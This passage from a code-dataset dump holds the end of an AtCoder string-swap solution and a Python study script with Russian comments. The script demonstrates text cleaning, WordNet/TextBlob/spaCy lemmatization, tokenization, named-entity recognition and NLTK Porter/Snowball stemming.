Even\nhttps://atcoder.jp/contests/abc293/tasks/abc293_a\n\"\"\"\n\nS = list(input())\n\nfor i in range(0, len(S), 2):\n S[i], S[i + 1] = S[i + 1], S[i]\n\nprint(\"\".join(S))\n","repo_name":"Hidestament/AtCoder","sub_path":"AtCoderBeginnerContest/ABC293/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7242127138","text":"import sys\n\nimport nltk\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.corpus import wordnet\nfrom nltk.stem.snowball import SnowballStemmer\nfrom nltk.stem.porter import *\nfrom textblob import Word\nfrom textblob import TextBlob\n\nimport spacy\n\n# ========================================================================\n# txtParser: методами строк очистить текст от знаков препинания;\n# привести все слова к нижнему регистру (map);\n# сформировать list со словами (split);\nclass txtParser: # the program for parsing\n\n # список нежелательных символов (знаки препинания, скобки и т.п.)\n badSignes = ['.', ',', ';', ':', '(', ')', '«', '»']\n # значение по умолчанию\n def __init__(self, fnameIn, substrLen = 90):\n self.fileIn = open(fnameIn, 'r', encoding='utf16')\n self.txtArr = self.fileIn.readlines() # прочитать ВСЕ строки в файле в буфер (массив)\n # txtArr, который состоит из len(txtArr) строк,\n # считая и пустые, которые содержат символ '\\n'\n # и больше ничего\n\n self.strings = '' # рабочий буфер приложения\n self.stringsLower = '' # буфер для приведения слов к нижнему регистру в мфссив (map)\n self.stringsLowerTxt = '' # буфер для приведения слов к нижнему регистру в текст\n self.wordsArray = [] # список слов\n self.uniqueWords = [] # список всех слов без повторения\n self.baseWords = [] # список для определения количества разных слов в тексте\n self.frqDict = dict() # frequency dictionary частотный словарь\n self.setWords = set() # множество для определения количества разных слов в тексте\n self.substrLen = substrLen\n\n # из txtArr в рабочий буфер приложения.\n # Форматирование буфера строк txtArr:\n # каждая строка из txtArr разбивается на\n # фрагменты размером substrLen. В конец каждого фрагмента,\n # если его длина равна substrLen записывается символ '\\n'\n def txtFormat(self):\n\n for i in range(0, len(self.txtArr)):\n\n # строка текстового буфера txtArr\n strTxt = self.txtArr[i]\n\n # пропуск строк, которые состоят только из '\\n'\n if strTxt == '\\n':\n continue\n\n q = 0\n for j in range(0, len(strTxt)):\n # посимвольный перебор строки strTxt и\n # определение очередного места вставки '\\n'\n # в self.strings\n self.strings = self.strings + strTxt[j]\n q += 1\n if q > 0 and q >= self.substrLen and strTxt[j] == ' ':\n self.strings = self.strings + '\\n'\n q = 0\n\n print(self.strings)\n\n # удаление нежелательных символов\n def signDelete(self):\n\n buff = ''\n for i in range(0, len(self.strings)):\n signX = self.strings[i]\n for s in txtParser.badSignes: # цикл по списку нежелательных символов\n if signX == s: # нежелательный символ в строке\n signX = '' # заменяется пустым\n break\n\n buff = buff + signX # проверенные символы записываются в буфер\n self.strings = buff # зачищенный буфер записывается в исходную строку\n\n print(self.strings) # печать результата\n\n # привести все слова к нижнему регистру (map) с применением map ======\n def lowerRunner(self):\n\n # строка - список\n buff = self.strings.split()\n\n # перевод к нижнему регистру\n for i in range(len(buff)):\n buff[i] = buff[i].lower()\n\n # сборка строки из списка приведённых слов с пр��менением функции map\n self.stringsLower = ' '.join(map(str, buff))\n\n print(self.stringsLower)\n\n # привести все слова к нижнему регистру (map) с применением map ======\n def lowerRunnerTxt(self):\n\n buff = ''\n for i in range(0, len(self.strings)):\n signX = self.strings[i].lower()\n buff = buff + signX # приведённые символы записываются в буфер\n\n self.stringsLowerTxt = buff # зачищенный буфер записывается в\n # буфер для приведения слов к нижнему регистру\n print(self.stringsLowerTxt) # печать результата\n\"\"\"\n\n= Wordnet Lemmatizer --> Лемматизатор Wordnet из NLTK\n Wordnet – это большая, свободно распространяемая\n и общедоступная лексическая база данных для \n английского языка с целью установления структурированных \n семантических отношений между словами. \n Библиотека также предлагает возможности лемматизации и является\n одним из самых ранних и наиболее часто используемых лемматизаторов.\n \n= TextBlob --> TextBlob Lemmatizer – это мощный, быстрый пакет NLP. \n Используя объекты Word и TextBlob, довольно просто \n анализировать и лемматизировать слова и предложения \n соответственно. Чтобы лемматизировать предложение или абзац, \n он анализируется его с помощью TextBlob а затем вызывается функция\n lemmatize() для проанализированных слов. Он не справляетчя с работой. \n Как и NLTK, TextBlob внутри использует Wordnet. Соотвественно, \n для корректной работы он так же требует передачу соответствующего \n POS-тега методу lemmatize(). TextBlob Lemmatizer примнняется\n с соответствующим\n POS-тегом\n \n= spaCy Lemmatizer --> spaCy лемматизация является относительно новым пакетом\n и на данный момент считается стандартом в индустрии NLP.\n Он поставляется с предварительно созданными моделями, \n которые могут анализировать текст и выполнять различный \n функционал, связанный с NLP. \n \n= CLiPS Pattern --> Pattern by CLiPs (Pattern Lemmatizer) – это универсальный\n пакет со многими возможностями NLP. позволяет просмотреть \n возможные лексемы для каждого слова. Также можно получить \n лемму, анализируя текст.\n \n= Stanford CoreNLP --> Stanford CoreNLP – так же популярный (!!!) инструмент NLP, \n который изначально был реализован на Java. Это для Mac...\n Также был сделано несколько враперов на Python. \n Он достаточно удобен (???) в использовании. Короче, НЕТ!\n\n= Gensim Lemmatizer --> Gensim Лемматизация. Предоставляет средства лемматизации \n на основе пакета pattern. Использует метод lemmatize() \n в модуле utils. По умолчанию Gensim lemmatize() \n допускает только теги «JJ», «VB», «NN» и «RB».\n \n= TreeTagger --> TreeTagger является POS таггером для многих языков. \n И он также предоставляем возможности лемматизации.\n реализации НЕ будет...\n\n\n__________________________________________________________________________\n1. WordNet -> лексическая база данных из более чем 200 языков.\nОбеспечивает семантические отношения между словами. \nОн присутствует в библиотеке nltk на python.\nWordnet связывает слова в семантические отношения (например, синонимы).\nОн группирует синонимы в виде синтаксических наборов.\nsynsets : группа элементов данных, которые семантически эквивалентны. \nОдин из самых ранних и наиболее часто используемых методов лемматизации.\n\nКак использовать: \n- надо загрузить пакет nltk,\n- импортировать nltk:\nnltk.download('wordnet')\nnltk.download('averaged_perceptron_tagger')\n\n__________________________________________________________________________\n2. Wordnet (с тегом POS) \nВ приведенном выше подходе результаты Wordnet не всегда корректны. \nТакие слова, как \"сидеть\", \"летать\" и т. д., остались прежними после лемматизации. \nЭто потому, что эти слова рассматриваются как существительное в данном предложении, а не глагол. \nЧтобы преодолеть это, мы используются теги POS (часть речи).\nЭтот тег добавляется с определенным словом, определяющим его тип \n(глагол, существительное, прилагательное и т. д.).\nНапример,\nWord + Type (POS—тег) -> Лемматизированное слово\nвождение + глагол 'v' —> водить\nсобак + существительное 'n' —> собака\n\n--------------------------------------------------------------------------\n3. Текстовый блок TextBlob\nЭто библиотека python, используемая для обработки текстовых данных. \nОн предоставляет простой API для доступа к своим методам и выполнения основных задач NLP.\nНадо загрузить пакет TextBlob\n\n--------------------------------------------------------------------------\n4. Текстовый блок TextPOS\nТо же, что и в подходе Wordnet без использования соответствующих тегов POS, \nнаблюдаются те же ограничения, что и в этом подходе. \nЧтобы преодолеть эту проблему, здесь используется один из наиболее мощных \nаспектов модуля TextBlob - пометка \"Часть речи\".\n\n--------------------------------------------------------------------------\n\n5. spaCy\nРабота с библиотекой spaCy для выполнения еще нескольких основных задач НЛП, \nтаких как токенизация , стемминг и лемматизация.\nspaCy является относительно новым пакетом и на данный момент считается \nстандартом в индустрии NLP. Он поставляется с предварительно созданными моделями, \nкоторые могут анализировать текст и выполнять различный функционал, связанный с NLP.\nspaCy по умолчанию определяет часть речи и назначает соответствующую лемму.\n\nБиблиотека spaCy - одна из самых применяемых библиотек NLP наряду с библиотекой NLTK. \nОсновное различие между двумя библиотеками заключается в том, что NLTK содержит МНОГО \nалгоритмов для решения одной проблемы, а spaCy содержит только один, но ЛУЧШИЙ алгоритм\nдля решения проблемы.\n\nNLTK был выпущен еще в 2001 году, spaCy был разработан в 2015 году. \nДалее при описании NLP осн��вном будет применяться spaCy из-за его современного состояния. \nНо когда легче выполнить задачу, используя NLTK, а не spaCy, будет применяться NLTK.\n\nДля работы с spaCy прежде всего (!!!) надо установить spaCy и загрузить модель «en».\n\n# Install spaCy (run in terminal/prompt)\nimport sys\n\n# Установка spaCy \npip3 install -U spacy\n\n# Загрузка модели для анализа английского языка\n### python3 -m spacy download en_core_web_lg\npython -m spacy download en \n\n# Установка textacy\npip3 install -U textacy\n\nhttps://spacy.io/models/en\nЭто ЕДИНСТВЕННЫЙ (!!!) сайт, с которого удалось загрузить требуемые \nкомпоненты spaCy\n\nПосле загрузки и установки spaCy следующим шагом будет загрузка языковой модели. \nМожно использовать одновременно множество моделей (англоязычную и русскоязычную) модель. \nЯзыковые модели используются для выполнения множества задач НЛП.\n\npaCy, давайте вкратце посмотрим, как с ним работать.\n\nПервый шаг - импортирт spacy библиотеку следующим образом:\n\nimport spacy \n\nДалее нужно загрузить языковую модель spaCy.\n\n sp = spacy.load('en_core_web_sm') \n\nЗдесь используется функция load spacy библиотеки для загрузки базовой \nанглийской языковой модели. Модель хранится в переменной sp\nТеперь создаётся документ и используется эта модель. \nДокумент может быть предложением или группой предложений и может иметь неограниченную длину. \nСледующий скрипт создает простой документ spaCy.\n\nsentence = sp(u'Manchester United is looking to sign a forward for $90 million') \n\nКогда документ создается с использованием модели, SpaCy автоматически разбивает входную строку\nна токены. Токен просто относится к отдельной части предложения, имеющей некоторое \nсемантическое значение. \n\nРезультат выполнения сценария выше выглядит следующим образом:\n\n Manchester \n United \n is \n looking \n to \n sign \n a \n forward \n for \n $ \n 90 \n million \n \nТаким образом, в документе есть следующие токены. \nТакже, используя .pos_ можно увидеть части речи каждого из этих токенов:\n\n for word in sentence: \n print(word.text, word.pos_) \n \nВывод:\n\n Manchester PROPN \n United PROPN \n is VERB \n looking VERB \n to PART \n sign VERB \n a DET \n forward NOUN \n for ADP \n $ SYM \n 90 NUM \n million NUM \n \nЗдесь каждому слову или символу в предложении была сопоставлена часть речи. \nНапример, «Манчестер» был помечен как существительное собственное, \n«Смотрю» - как глагол и так далее.\n\nНаконец, помимо частей речи, также можено видеть зависимости.\n\nЕщё один документ:\n\n sentence2 = sp(u\"Manchester United isn't looking to sign any forward.\") \n \nДля синтаксического анализа зависимостей используется атрибут dep_ :\n\n for word in sentence2: \n print(word.text, word.pos_, word.dep_) \n \nРезультат:\n\n Manchester PROPN compound \n United PROPN nsubj \n is VERB aux \n n't ADV neg \n looking VERB ROOT \n to PART aux \n sign VERB xcomp \n any DET advmod \n forward ADV advmod \n . PUNCT punct \n\nИз выходных данных видно, что spaCy может найти \nзависимость между токенами. Например, в данном предложении\nесть слово is'nt. \nСинтаксический анализатор зависимостей разбил его на два слова и указывает, \nчто n't на самом деле является отрицанием предыдущего слова.\n\nПомимо печати слов, также можно распечатать предложения из документа.\n\ndocument = sp(u'Hello from Stackabuse. The site with the best Python Tutorials. What are you looking for?') \n\nИспользуя следующий сценарий, можно перебирать каждое предложение:\n\n for sentence in document.sents: \n print(sentence) \n \nРезультат:\n\n Hello from Stackabuse. \n The site with the best Python Tutorials. \n What are you looking for? \n \nМожно проверить, начинается ли предложение с определенного токена или нет. \nМожно получить отдельные токены, используя индекс и квадратные скобки, как у массива:\n\ndocument[4] \n\nВ приведенном выше сценарии в документе ищется 5-е слово \n(здесь индекс начинается с нуля, а период (???) считается токеном). \nНа выходе вы должно быть:\n\n The \n\nТеперь, чтобы увидеть, начинается ли какое-либо предложение в документе с The, \nможно использовать is_sent_start:\n\n document[4].is_sent_start \n \nПоскольку токен The используется в начале второго предложения, результатом будет True.\n\nВыше были показаны несколько основных операций библиотеки spaCy. \nДалее будут рассмотрены токенизация, \n стемминг и \n лемматизация.\n\nТокенизация\nТокенизация - это процесс разбиения документа на слова, знаки препинания, числовые цифры и т. Д.\n\nТокенизация spaCy как она есть. С использованием следующего скрипта создаётся новый документ:\n\n sentence3 = sp(u'\"They\\'re leaving UK for USA\"') \n print(sentence3) \n\nПредложение содержит кавычки в начале и в конце. \nОно также содержит знаки препинания в сокращениях «UK» и «USA» (где ???).\nВот как spaCy токенизует это предложение.\n\n for word in sentence3: \n print(word.text) \n \nВывод:\n\n \" \n They \n 're \n leaving \n UK \n for \n USA \n \" \nВ выходных данных можро увидеть, что spaCy разметила начальную и конечную двойные кавычки. \nТем не менее, он не разметил точку пунктуации между аббревиатурами, такими как UK и USA.\nПосмотрим еще один пример токенизации:\n\n sentence4 = sp(u\"Hello, I am non-vegetarian, email me the menu at [email protected] \") \n print(sentence4) \n \nВ этом предложении есть тире в слове «не-вегетарианец» и в адресе электронной почты (где ???). \nРезультат токениззации spaCy:\n\n for word in sentence4: \n print(word.text) \n \nВывод:\n\n Hello \n , \n I \n am \n non \n - \n vegetarian \n , \n email \n me \n the \n menu \n at \n [email protected] \n\nВидно, что spaCy смог обнаружить электронное письмо и не токенизировал его, \nнесмотря на наличие знака «-» (???). \nС другой стороны, слово «не-вегетарианец» было символическим.\n\nТеперь о подсчёте слов в документе:\n\n len(sentence4) \n \nНа выходе 14 - это количество токенов в sentence4 .\n\nОбнаружение сущностей\nПомимо токенизации документов в слова, можно также узнать, \nявляется ли слово сущностью, такой как компания, место, здание, валюта, учреждение и т. Д.\n\nПример распознавания именованных сущностей:\n\n sentence5 = sp(u'Manchester United is looking to sign Harry Kane for $90 million') \n \nПопытка простой токенизации:\n\n for word in sentence5: \n print(word.text) \n \nВывод:\n\n Manchester \n United \n is \n looking \n to \n sign \n Harry \n Kane \n for \n $ \n 90 \n million \n\nИзвнстно, что «Манчестер Юнайтед» - это одно слово, поэтому его нельзя \nтокенизировать двумя словами. \nТочно так же «Гарри Кейн» - это имя человека, а «90 миллионов долларов» - \nэто денежная ценность. Их также не следует токенизировать.\n\nЗдесь начинает работать распознавание именованных сущностей. \nЧтобы получить именованные сущности из документа, надо использовать атрибут ents.\nИзвлечение названных сущностей из приведенного выше предложения. \nВыполняется следующий скрипт:\n\n for entity in sentence.ents: \n print(entity.text + ' - ' + entity.label_ + ' - ' + str(spacy.explain(entity.label_))) \n\nВ приведенном выше скрипте печатается текст объекта, \nметка объекта и детали объекта. \n\nВывод:\n\n Manchester United - ORG - Companies, agencies, institutions, etc. \n Harry Kane - PERSON - People, including fictional \n $90 million - MONEY - Monetary values, including unit \n\nТаким образом, средство распознавания именованных сущностей spaCy успешно распознало \n«Манчестер Юнайтед» как организацию, «Гарри Кейна» как личность и «90 миллионов долларов» \nкак денежную ценность.\n\nОбнаружение существительных\nПомимо обнаружения именованных сущностей, также могут быть обнаружены существительные. \nДля этого применяется атрибут noun_chunks. Следующее предложение:\n\n sentence5 = sp(u'Latest Rumours: Manchester United is looking to sign Harry Kane for $90 million') \n\nПоиск существительных из этого предложения:\n\n for noun in sentence5.noun_chunks: \n print(noun.text)\n \nВывод:\n\n Latest Rumours \n Manchester United \n Harry Kane \n \nВидно, что существительное также может быть именованным объектом, и наоборот.\n\nСтемминг\nОснование относится к приведению слова к его корневой форме. \nПри выполнении задач обработки естественного языка могутприменяться различные сценарии, \nв которых находятся разные слова с одним и тем же корнем. \nНапример, compute, computer, computing, computed и т. Д. \nДля достижения единообразия можно уменьшить слова до их корневой формы. \nздесь применяется стемминг.\nВ spaCy нет (!!!) функции для стемминга, поскольку он полагается только на лемматизацию. \nПоэтому здесь для стемминга используется NLTK.\nВ NLTK есть два типа стеммеров: Porter Stemmer и Snowball . \nОба они были реализованы с использованием разных алгоритмов.\n\nПортер Стеммер\nСтеммер портера в действии:\n\n import nltk \n \n from nltk.stem.porter import * \n \nСоздаётся класс PorterStemmer.\n\n stemmer = PorterStemmer()\n \nПрусть имеется следующий список, и надо сократить эти слова до основы:\n\n tokens = ['compute', 'computer', 'computed', 'computing'] \n \nСледующий скрипт находит основу для слов в списке с помощью стеммера портера:\n\n for token in tokens: \n print(token + ' --> ' + stemmer.stem(token)) \n \nРезультат выглядит следующим образом:\n\n compute --> comput \n computer --> comput \n computed --> comput \n computing --> comput \n \nВсе 4 слова были сокращены до «вычислить», что на самом деле вовсе не слово.\n\n\"Снежок\" Стеммер\nСтеммер Snowball - это немного улучшенная версия стеммера Porter, \nкоторую обычно предпочитают последнему. Стеммер снежка в действии:\n\n from nltk.stem.snowball import SnowballStemmer \n \n stemmer = SnowballStemmer(language='english') \n \n tokens = ['compute', 'computer', 'computed', 'computing'] \n \n for token in tokens: \n print(token + ' --> ' + stemmer.stem(token)) \n \nВ приведенном выше сценарии используется стеммер Snowball, чтобы найти основу тех же 4 слов, \nчто и стеммер портера. \nРезультат:\n\n compute --> comput \n computer --> comput \n computed --> comput \n computing --> comput \n \nЭто те же самые результаты. В качестве основы всё ещё существует «вычислитель» . \nОпять же, слово «вычислить» на самом деле не словарное.\n\nВот тут-то и нужна лемматизация. \nЛемматизация сокращает слово до основы, как оно появляется в словаре. \nОсновы, возвращаемые посредством лемматизации, являются фактическими словарными словами \nи семантически полными, в отличие от слов, возвращаемых стеммером.\n\nЛемматизация\nХотя и не получается выполнить стемминг с помощью spaCy, можно выполнить \nлемматизацию с помощью spaCy.\n\nДля этого нужно использовать lemma_ атрибут на Spacy документа. \nПусть дано следующее предложение:\n\n sentence6 = sp(u'compute computer computed computing') \n\nМожно найти корни всех слов с помощью лемматизации spaCy следующим образом:\n\n for word in sentence6: \n print(word.text, word.lemma_) \n\nРезультат выполнения сценария:\n\n compute compute \n computer computer \n computed compute \n computing computing \n\nВ отличие от стемминга, в котором корень, который был получен, «вычислялся», \nкорни, которые были здесь получены, являются настоящими словами в словаре.\n\nЛемматизация преобразует слова во второй или третьей формах в их варианты первой формы. \nНапример:\n\n sentence7 = sp(u'A letter has been written, asking him to be released') \n \n for word in sentence7: \n print(word.text + ' ===>', word.lemma_) \n\nВывод:\n\n A ===> a \n letter ===> letter \n has ===> have \n been ===> be \n written ===> write \n , ===> , \n asking ===> ask \n him ===> -PRON- \n to ===> to \n be ===> be \n released ===> release \n\nИз выходных данных видно, что слова во второй и третьей формах, \nтакие как «написано», «выпущено» и т. д., были преобразованы в первую форму, \nто есть «запись» и «выпуск».\n\nЗаключение\nТокенизация, стемминг и лемматизация - фундаментальные задачи обработки естественного языка. \nЗдесь было показано, как можно выполнить токенизацию и лемматизацию с помощью библиотеки spaCy. \nТакже было показано, как NLTK можно использовать для стемминга. \n\n\"\"\"\n\n\ndef WordNet(wnl, pars):\n # single word lemmatization examples\n # Array of words\n list0 = pars.stringsLower.split(' ')\n list1 = []\n for word in list0:\n list1.append(word)\n\n for words in list1:\n print(words + \" ---> \" + wnl.lemmatize(words))\n\n # ========================================================================\n # sentence lemmatization examples ========================================\n string = pars.stringsLowerTxt\n print(string)\n\n # Converting string into tokens ==========================================\n list2 = nltk.word_tokenize(string)\n print(list2)\n\n\n lemmatized_string = ' '.join([wnl.lemmatize(words) for words in list2])\n\n print(lemmatized_string)\n\n# ========================================================================\ndef WordNetPos(pars):\n lemmatizer = WordNetLemmatizer()\n\n # Define function to lemmatize each word with its POS tag\n\n # POS_TAGGER_FUNCTION : TYPE 1\n def pos_tagger(nltk_tag):\n if nltk_tag.startswith('J'):\n return wordnet.ADJ\n elif nltk_tag.startswith('V'):\n return wordnet.VERB\n elif nltk_tag.startswith('N'):\n return wordnet.NOUN\n elif nltk_tag.startswith('R'):\n return wordnet.ADV\n else:\n return None\n\n sentence = pars.stringsLower\n # tokenize the sentence and find the POS tag for each token\n pos_tagged = nltk.pos_tag(nltk.word_tokenize(sentence))\n\n print(pos_tagged)\n\n # As you may have noticed, the above pos tags are a little confusing.\n # we use our own pos_tagger function to make things simpler to understand.\n\n wordnet_tagged = list(map(lambda x: (x[0], pos_tagger(x[1])), pos_tagged))\n print(wordnet_tagged)\n\n\n lemmatized_sentence = []\n for word, tag in wordnet_tagged:\n if tag is None:\n # if there is no available tag, append the token as is\n lemmatized_sentence.append(word)\n else:\n # else use the tag to lemmatize the token\n lemmatized_sentence.append(lemmatizer.lemmatize(word, tag))\n\n lemmatized_sentence = \" \".join(lemmatized_sentence)\n\n print(lemmatized_sentence)\n\n\ndef WordTextBlob(pars):\n\n sentence = pars.stringsLowerTxt\n\n # сборка строки из результатов работы лемматизатора\n s = TextBlob(sentence)\n lemmatized_sentence = \" \".join([w.lemmatize() for w in s.words])\n\n print(lemmatized_sentence)\n # > the bat saw the cat with stripe hanging upside down by their foot\n\n\n# ========================================================================\n\ndef getWordNetPos(sentence):\n \"\"\"\n Map POS tag to first character lemmatize() accepts\n Wordnet Lemmatizer с соответствующим POS-тегом\n Достаточно сложно вручную проставить соответствующий POS-тег для каждого слова\n при обработке больших текстов.\n Поэтому вместо этого находят правильный POS-тег для каждого слова,\n сопоставляют его с правильным входным символом, который принимает WordnetLemmatizer,\n и передают его в качестве второго аргумента в lemmatize().\n\n Как получить POS-тег для выбранного слова?\n В nltk для этого есть метод nltk.pos_tag().\n Он принимает только список (список слов), даже если нужно передать только одно слово.\n \"\"\"\n tag = nltk.pos_tag([sentence])[0][1][0].upper()\n # это выше моего понимания !!!\n\n # здесь принципиально сопоставление POS-тегов NLTK с форматом,\n # принятым лемматизатором wordnet\n # здесь без вариантов: в словаре только один элемент.\n # Закомментированные элементы словаря не используются\n # и воообще, похоже, что конкретный словарь БЕЗ разницы\n # tag_dict = {\"V\": wordnet.VERB}\n tag_dict = {\"N\": wordnet.NOUN}\n\n # tag_dict = { \"J\": wordnet.ADJ,\n # \"N\": wordnet.NOUN,\n # \"V\": wordnet.VERB,\n # \"R\": wordnet.ADV}\n\n return tag_dict.get(tag, wordnet.NOUN)\n\ndef WordTextPos(wnl, pars):\n\n #sentence = 'the bat saw the cat with stripe hang upside down by their foot'\n sentence = pars.stringsLower\n print(sentence)\n\n # resSentence = [wnl.lemmatize(w, getWordNetPos(w)) for w in nltk.word_tokenize(sentence)]\n # ^^^^^^^^^^^^^ правильный POS-тег для каждого слова в sentence\n # второй аргумент в lemmatize() - это результат getWordNetPos\n # правильный POS-тег для каждого слова,\n # lemmatize с двумя аргументами занимается СОПОСТАВЛЕНИЕМ\n # WordnetLemmatizer принимает результат сопоставления и возвращает массив\n # _________________________ И вся эта хрень в одну строку! ____________________________________\n\n # _____________ А вот то же самое в две строки. Легче стало? ___________________________________\n resSentence = []\n for w in nltk.word_tokenize(sentence):\n wnp = getWordNetPos(w)\n resSentence.append(wnl.lemmatize(w, wnp))\n\n print(resSentence)\n\n# ========================================================================\n\"\"\"\n# Install spaCy (run in terminal/prompt)\nimport sys\n\n# Установка spaCy \npip3 install -U spacy\n\n# Загрузка модели для анализа английского языка\npython3 -m spacy download en_core_web_lg\n\n# Установка textacy\npip3 install -U textacy\n\nspaCy по умолчанию определяет часть речи и назначает соответствующую лемму.\n\"\"\"\n\ndef xspaCy(pars):\n # Загрузка английской или русской NLP-модели\n\n # sp = spacy.load(\"ru_core_news_lg\") # ??? грузится,но не работает\n # sp = spacy.load(\"en_core_web_sm\") # а так он анализирует как en, так и ru\n # sp = spacy.load(\"en_core_web_lg\") # а так он анализирует как en, так и ru\n # sp = spacy.load(\"en_core_web_trf\") # а так он анализирует ТОЛЬКО en\n\n sp = spacy.load(\"en_core_web_md\") # а так он анализирует как en, так и ru,\n # и даже лучше, чем sm\n\n # используется функция load spacy библио��еки для загрузки базовой (возможно, английской)\n # языковой модели. Модель хранится в переменной sp\n # # Initialize spacy 'en' model, keeping only tagger component needed for lemmatization\n\n # Текст для анализа - сейчас он берётся от объекта .........\n # text = \"\"\"London is the capital and most populous city of England and\n # the United Kingdom. Standing on the River Thames in the south east\n # of the island of Great Britain, London has been a major settlement\n # for two millennia. It was founded by the Romans, who named it Londinium.\n # spaCy является относительно новым пакетом и на данный момент считается\n # стандартом в индустрии NLP is'nt. Он поставляется с предварительно созданными моделями,\n # которые могут анализировать текст и выполнять различный функционал, связанный с NLP.\n # Прежде всего надо установить spaCy и загрузить модель «en».\n # \"\"\"\n\n text = pars.stringsLowerTxt\n\n # Парсинг текста с помощью spaCy. Эта команда запускает конвейер\n doc = sp(text)\n # в переменной 'doc' теперь содержится обработанная версия текста\n # когда документ создается с использованием модели.\n # SpaCy автоматически разбивает документ text на токены.\n # Токен относится к отдельной части предложения, имеющей некоторое семантическое значение.\n\n # Можно посмотреть, какие токены есть в документе.\n for word in doc:\n print(word.text)\n\n print('\\n__________________________________________________________')\n\n # можно распечатать все обнаруженные именованные сущности\n for entity in doc.ents:\n print(f\"{entity.text} ({entity.label_})\")\n\n print('\\n__________________________________________________________')\n\n # используя .pos_ показанный ниже, также можно посмотреть части речи каждого из этих токенов\n for word in doc:\n print(word.text, word.pos_)\n\n print('\\n__________________________________________________________')\n\n # видеть, что каждому слову или символу в нашем предложении была отведена часть речи.\n # Например, «London» был помечен как существительное собственное, «is» - как глагол\n # и так далее\n\n # Помимо частей речи, также можем видеть зависимости.\n for word in doc:\n print(word.text, word.pos_, word.dep_)\n\n print('\\n__________________________________________________________')\n\n # Из выходных данных видно, что spaCy может найти зависимость между токенами,\n # например, в предложении, которое у нас есть, есть слово is'nt .\n # Синтаксический анализатор зависимостей разбил его на два слова и указывает,\n # что n't на самом деле является отрицанием предыдущего слова.\n # Помимо печати слов, также можно распечатать предложения из документа.\n\n for sentence in doc.sents:\n print(sentence)\n\n print('\\n__________________________________________________________')\n\n # также можно проверить, начинается ли предложение с определенного токена или нет.\n # Можно получить отдельные токены, используя индекс и квадратные скобки, как массив:\n\n print(doc[5])\n\n # В приведенном выше сценарии мы ищется 6-е слово в документе.\n # Надо иметь в виду, что индекс начинается с нуля, а период(???) считается токеном.\n # На выходе: .......\n\n # Теперь, чтобы увидеть, начинается ли какое-либо предложение в документе с\n # populous, можно использовать is_sent_start как показано ниже:\n\n if doc[5].is_sent_start == True:\n print(\"Yes!\")\n else:\n print(\"No!\")\n\n print('\\n__________________________________________________________')\n\n # токенизация spaCy. С использованием следующего скрипта создаётся новый документ:\n\n doc = sp(u'\"They\\'re leaving UK for USA\"')\n print(doc)\n\n print('\\n__________________________________________________________')\n\n # Предложение содержит кавычки в начале и в конце.\n # Оно также содержит знаки препинания в сокращениях «UK» и «USA».\n\n for word in doc:\n print(word.text)\n\n print('\\n__________________________________________________________')\n\n # В выходных данных можно видеть, что spaCy разметила начальную и\n # конечную двойные кавычки.\n # И он НЕ разметил точку пунктуации между аббревиатурами UK и USA.\n\n # Ещё один пример токенизации:\n\n doc = sp(u\"Hello, I am non-vegetarian, email me the menu at [email protected] \")\n print(doc)\n\n for word in doc:\n print(word.text)\n\n print('\\n__________________________________________________________')\n\n # Как можно подсчитать слова в документе:\n\n print(len(doc))\n\n # Обнаружение сущностей ==============================================\n # Помимо токенизации документов в слова, также можно узнать,\n # является ли слово сущностью, такой как компания, место, здание, валюта, учреждение и т. д.\n # Пример распознавания именованных сущностей:\n\n doc = sp(u'Manchester United is looking to sign Harry Kane for $90 million')\n\n # Простая токенизация:\n\n for word in doc:\n print(word.text)\n\n print('\\n__________________________________________________________')\n\n # Известно, что «Манчестер Юнайтед» - это одно слово, поэтому его нельзя\n # токенизировать двумя словами. Точно так же «Гарри Кейн» - это имя человека,\n # а «90 миллионов долларов» - это денежная ценность. Их также не следует токенизировать.\n # Здесь и применяется распознавание именованных сущностей.\n # Чтобы получить именованные сущности из документа, надо использовать атрибут ents.\n # Теперь извлечние названных сущностей из приведенного выше предложения.\n # Надо вВыполнить следующий скрипт:\n\n for word in doc.ents:\n print(word.text + ' - ' + word.label_ + ' - ' + str(spacy.explain(word.label_)))\n\n print('\\n__________________________________________________________')\n\n # В приведенном выше скрипте печатается текст объекта, метка объекта и детали объекта.\n # Средство распознавания именованных сущностей spaCy успешно распознало\n # «Манчестер Юнайтед» как организацию, «Гарри Кейна» как личность и\n # «90 миллионов долларов» как денежную ценность.\n\n # Обнаружение существительных ========================================\n # Помимо обнаружения именованных сущностей, также могут быть обнаружены\n # существительные. Для этого применяется атрибут noun_chunks:\n\n doc = sp(u'Latest Rumours: Manchester United is looking to sign Harry Kane for $90 million')\n\n # найти существительные из этого предложения (существительное также может быть именованным объектом, и наоборот.):\n\n for word in doc.noun_chunks:\n print(word.text)\n\n print('\\n__________________________________________________________')\n\n # Стемминг ===========================================================\n # Основание относится к приведению слова к его корневой форме.\n # При выполнении задач обработки естественного языка вы столкнетесь с\n # различными сценариями, в которых можно найти разные слова с одним и тем же корнем.\n # Например, compute, computer, computing, computed и т. Д.\n # Можно уменьшить слова до их корневой формы для единообразия.\n # И здесь работает стемминг.\n # spaCy применяет только лемматизацию и в нём нет функции для стемминга.\n # Поэтому для стемминга используется NLTK.\n #\n # В NLTK есть два типа стеммеров: Porter Stemmer и Snowball.\n # Оба они были реализованы с использованием разных алгоритмов.\n #\n # Портер Стеммер\n #\n # import nltk # !!!!!\n # from nltk.stem.porter import *\n # Создаётся класс PorterStemmer.\n\n stemmer = PorterStemmer()\n\n # Пусть имеется следующий список, и надо сократить эти слова до основы:\n\n tokens = ['compute', 'computer', 'computed', 'computing']\n\n # Следующий скрипт находит основу для слов в списке с помощью стеммера портера:\n\n for token in tokens:\n print(token + ' --> ' + stemmer.stem(token))\n\n print('\\n__________________________________________________________')\n\n # Результат выглядит следующим образом:\n #\n # compute --> comput\n # computer --> comput\n # computed --> comput\n # computing --> comput\n\n # Видно, что все 4 слова были сокращены до «вычислить», что на самом деле вовсе не слово.\n #\n # Снежок Стеммер # ===================================================\n # Стеммер Snowball - это немного улучшенная версия стеммера Porter,\n # которую обычно предпочитают последнему. Стеммер снежка в действии:\n #\n # from nltk.stem.snowball import SnowballStemmer\n\n stemmer = SnowballStemmer(language='english')\n\n tokens = ['compute', 'computer', 'computed', 'computing']\n\n for token in tokens:\n print(token + ' --> ' + stemmer.stem(token))\n\n print('\\n__________________________________________________________')\n\n # В приведенном сценарии используется стеммер Snowball,\n # чтобы найти основу тех же 4 слов, что и стеммер портера. Результат выглядит так:\n #\n # compute --> 